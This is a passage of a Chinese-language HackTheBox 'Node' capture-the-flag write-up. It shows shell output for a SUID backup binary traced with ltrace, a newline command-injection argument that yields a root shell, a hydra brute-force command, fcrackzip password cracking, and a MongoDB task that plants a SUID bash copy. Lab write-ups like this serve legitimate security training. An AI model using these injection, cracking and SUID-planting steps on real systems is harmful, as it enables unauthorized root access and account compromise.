See "man sudo_root" for details.

tom@node:/$ pwd
pwd
/
tom@node:/$ cd ~
cd ~
tom@node:~$ ls
ls
user.txt
tom@node:~$ cat user.txt
cat user.txt
adee6015f143049094151bc21cadca97
tom@node:~$

0x02 系统权限获取

24、接下来就是常规提权与信息搜集了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
tom@node:~$ ls -la
ls -la
total 40
drwxr-xr-x 6 root root 4096 Aug 16 2022 .
drwxr-xr-x 5 root root 4096 Aug 31 2017 ..
lrwxrwxrwx 1 root root 9 Aug 16 2022 .bash_history -> /dev/null
-rw-r--r-- 1 root root 220 Aug 29 2017 .bash_logout
-rw-r--r-- 1 root root 3771 Aug 29 2017 .bashrc
drwx------ 2 root root 4096 Aug 29 2017 .cache
drwxr-xr-x 3 root root 4096 Aug 30 2017 .config
-rw-r----- 1 root root 0 Sep 3 2017 .dbshell
-rwxr-xr-x 1 root root 0 Aug 30 2017 .mongorc.js
drwxrwxr-x 2 root root 4096 Aug 29 2017 .nano
drwxr-xr-x 5 root root 4096 Aug 31 2017 .npm
-rw-r--r-- 1 root root 655 Aug 29 2017 .profile
-rw-r----- 1 root tom 33 Jan 5 13:31 user.txt
tom@node:~$ sudo -l
sudo -l
[sudo] password for tom:

Sorry, try again.
[sudo] password for tom:

Sorry, try again.
[sudo] password for tom:

sudo: 3 incorrect password attempts
tom@node:~$

tom@node:~$ cat .config
cat .config
cat: .config: Is a directory
tom@node:~$ ls
ls
user.txt
tom@node:~$ ls -la
ls -la
total 40
drwxr-xr-x 6 root root 4096 Aug 16 2022 .
drwxr-xr-x 5 root root 4096 Aug 31 2017 ..
lrwxrwxrwx 1 root root 9 Aug 16 2022 .bash_history -> /dev/null
-rw-r--r-- 1 root root 220 Aug 29 2017 .bash_logout
-rw-r--r-- 1 root root 3771 Aug 29 2017 .bashrc
drwx------ 2 root root 4096 Aug 29 2017 .cache
drwxr-xr-x 3 root root 4096 Aug 30 2017 .config
-rw-r----- 1 root root 0 Sep 3 2017 .dbshell
-rwxr-xr-x 1 root root 0 Aug 30 2017 .mongorc.js
drwxrwxr-x 2 root root 4096 Aug 29 2017 .nano
drwxr-xr-x 5 root root 4096 Aug 31 2017 .npm
-rw-r--r-- 1 root root 655 Aug 29 2017 .profile
-rw-r----- 1 root tom 33 Jan 5 13:31 user.txt
tom@node:~$ cd .config
cd .config
tom@node:~/.config$ ls -la
ls -la
total 12
drwxr-xr-x 3 root root 4096 Aug 30 2017 .
drwxr-xr-x 6 root root 4096 Aug 16 2022 ..
drwxr-xr-x 2 root root 4096 Sep 3 2017 configstore
tom@node:~/.config$ cd configstore
cd configstore
tom@node:~/.config/configstore$ ls -la
ls -la
total 12
drwxr-xr-x 2 root root 4096 Sep 3 2017 .
drwxr-xr-x 3 root root 4096 Aug 30 2017 ..
-rw------- 1 root root 150 Sep 3 2017 update-notifier-npm.json
tom@node:~/.config/configstore$ cat update-notifier-npm.json
cat update-notifier-npm.json
cat: update-notifier-npm.json: Permission denied
tom@node:~/.config/configstore$

25、发现还是不行的,其实,到这里还是遗留了一些信息,上面的 app.js 里泄露了一些信息,让我们检查一下 /var/www/myplace/app.js:

1
2
3
4
5
6
7
8
9
10
11
12
tom@node:~$ cat /var/www/myplace/app.js
cat /var/www/myplace/app.js

app.get('/api/admin/backup', function (req, res) {
if (req.session.user && req.session.user.is_admin) {
var proc = spawn('/usr/local/bin/backup', ['-q', backup_key, __dirname ]);
var backup = '';

tom@node:~$ ls -la /usr/local/bin/backup
ls -la /usr/local/bin/backup
-rwsr-xr-- 1 root admin 16484 Sep 3 2017 /usr/local/bin/backup
tom@node:~$

26、有趣的。它是 root 拥有的 SUID 可执行文件!我打赌我们可以找到很多方法来利用这个备份应用程序。让我们使用 ltrace 来探索它:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
tom@node:~$ ltrace /usr/local/bin/backup -q 3de811f4ab2b7543eaf45df611c2dd2541a5fc5af601772638b81dce6852d110 /tmp/a
<b2b7543eaf45df611c2dd2541a5fc5af601772638b81dce6852d110 /tmp/a
__libc_start_main(0x80489fd, 4, 0xffdcf734, 0x80492c0 <unfinished ...>
geteuid() = 1000
setuid(1000) = 0
strcmp("-q", "-q") = 0
strncpy(0xffdcf5f8, "3de811f4ab2b7543eaf45df611c2dd25"..., 100) = 0xffdcf5f8
strcpy(0xffdcf5e1, "/") = 0xffdcf5e1
strcpy(0xffdcf5ed, "/") = 0xffdcf5ed
strcpy(0xffdcf577, "/e") = 0xffdcf577
strcat("/e", "tc") = "/etc"
strcat("/etc", "/m") = "/etc/m"
strcat("/etc/m", "yp") = "/etc/myp"
strcat("/etc/myp", "la") = "/etc/mypla"
strcat("/etc/mypla", "ce") = "/etc/myplace"
strcat("/etc/myplace", "/k") = "/etc/myplace/k"
strcat("/etc/myplace/k", "ey") = "/etc/myplace/key"
strcat("/etc/myplace/key", "s") = "/etc/myplace/keys"
fopen("/etc/myplace/keys", "r") = 0x8810008
fgets("a01a6aa5aaf1d7729f35c8278daae30f"..., 1000, 0x8810008) = 0xffdcf18f
strcspn("a01a6aa5aaf1d7729f35c8278daae30f"..., "\n") = 64
strcmp("3de811f4ab2b7543eaf45df611c2dd25"..., "a01a6aa5aaf1d7729f35c8278daae30f"...) = -1
fgets("45fac180e9eee72f4fd2d9386ea7033e"..., 1000, 0x8810008) = 0xffdcf18f
strcspn("45fac180e9eee72f4fd2d9386ea7033e"..., "\n") = 64
strcmp("3de811f4ab2b7543eaf45df611c2dd25"..., "45fac180e9eee72f4fd2d9386ea7033e"...) = -1
fgets("3de811f4ab2b7543eaf45df611c2dd25"..., 1000, 0x8810008) = 0xffdcf18f
strcspn("3de811f4ab2b7543eaf45df611c2dd25"..., "\n") = 64
strcmp("3de811f4ab2b7543eaf45df611c2dd25"..., "3de811f4ab2b7543eaf45df611c2dd25"...) = 0
fgets("\n", 1000, 0x8810008) = 0xffdcf18f
strcspn("\n", "\n") = 0
strcmp("3de811f4ab2b7543eaf45df611c2dd25"..., "") = 1
fgets(nil, 1000, 0x8810008) = 0
strstr("/tmp/a", "..") = nil
strstr("/tmp/a", "/root") = nil
strchr("/tmp/a", ';') = nil
strchr("/tmp/a", '&') = nil
strchr("/tmp/a", '`') = nil
strchr("/tmp/a", '$') = nil
strchr("/tmp/a", '|') = nil
strstr("/tmp/a", "//") = nil
strcmp("/tmp/a", "/") = 1
strstr("/tmp/a", "/etc") = nil
strcpy(0xffdcef9b, "/tmp/a") = 0xffdcef9b
getpid() = 1922
time(0) = 1704466827
clock(0, 0, 0, 0) = 1312
srand(0x89fd1aff, 0x28a36f5f, 0x89fd1aff, 0x804918c) = 0
rand(0, 0, 0, 0) = 0x305db0f1
sprintf("/tmp/.backup_811446513", "/tmp/.backup_%i", 811446513) = 22
sprintf("/usr/bin/zip -r -P magicword /tm"..., "/usr/bin/zip -r -P magicword %s "..., "/tmp/.backup_811446513", "/tmp/a") = 70
system("/usr/bin/zip -r -P magicword /tm"... <no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> ) = 3072
access("/tmp/.backup_811446513", 0) = -1
remove("/tmp/.backup_811446513") = -1
fclose(0x8810008) = 0
+++ exited (status 0) +++
tom@node:~$

27、这里使用了$这个变量传递的方法,进行了提权,并获取到了最后的flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
tom@node:~$ 
tom@node:~$ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 "$(printf '\n/bin/sh\necho OK')"
<c3d98a8d0230167104d474 "$(printf '\n/bin/sh\necho OK')"

zip error: Nothing to do! (/tmp/.backup_632795909)
# id
id
uid=0(root) gid=1000(tom) groups=1000(tom),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),115(lpadmin),116(sambashare),1002(admin)
# python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

root@node:~# ls
ls
user.txt
root@node:~# cd ~
cd ~
root@node:~# ls
ls
user.txt
root@node:~# cat /root/root.txt
cat /root/root.txt
b3774aca2c4cae14cb9d5c8379f5818f
root@node:~#

0x03 其他补充

28、补充的方法-爆破网站:

1
2
3
hydra -l myP14ceAdm1nAcc0uNT -P rockyou.txt 10.10.10.58 -s 3000 http-post-form
"/api/session/authenticate:{\"username\"\:\"^USER^\",\"password\"\:\"^PASS^\"}:Authentication
failed:H=Content-Type\: application/json" -t 64

29、破解压缩包

1
2
base64 -d myplace.backup > backup.zip 
fcrackzip -D -p ../../wordlists/rockyou.txt -u backup.zip

30、mongo 数据库连接,与命令执行

1
2
3
4
mongo -p -u mark scheduler

db.tasks.insert({"cmd":"/bin/cp /bin/bash /tmp/tom; /bin/chown tom:admin /tmp/tom; chmod
g+s /tmp/tom; chmod u+s /tmp/tom"});

0x04 通关凭证展示

https://www.hackthebox.com/achievement/machine/1705469/110


Node-htb-writeup
https://sh1yan.top/2024/01/05/Node-htb-writeup/
作者
shiyan
发布于
2024年1月5日
许可协议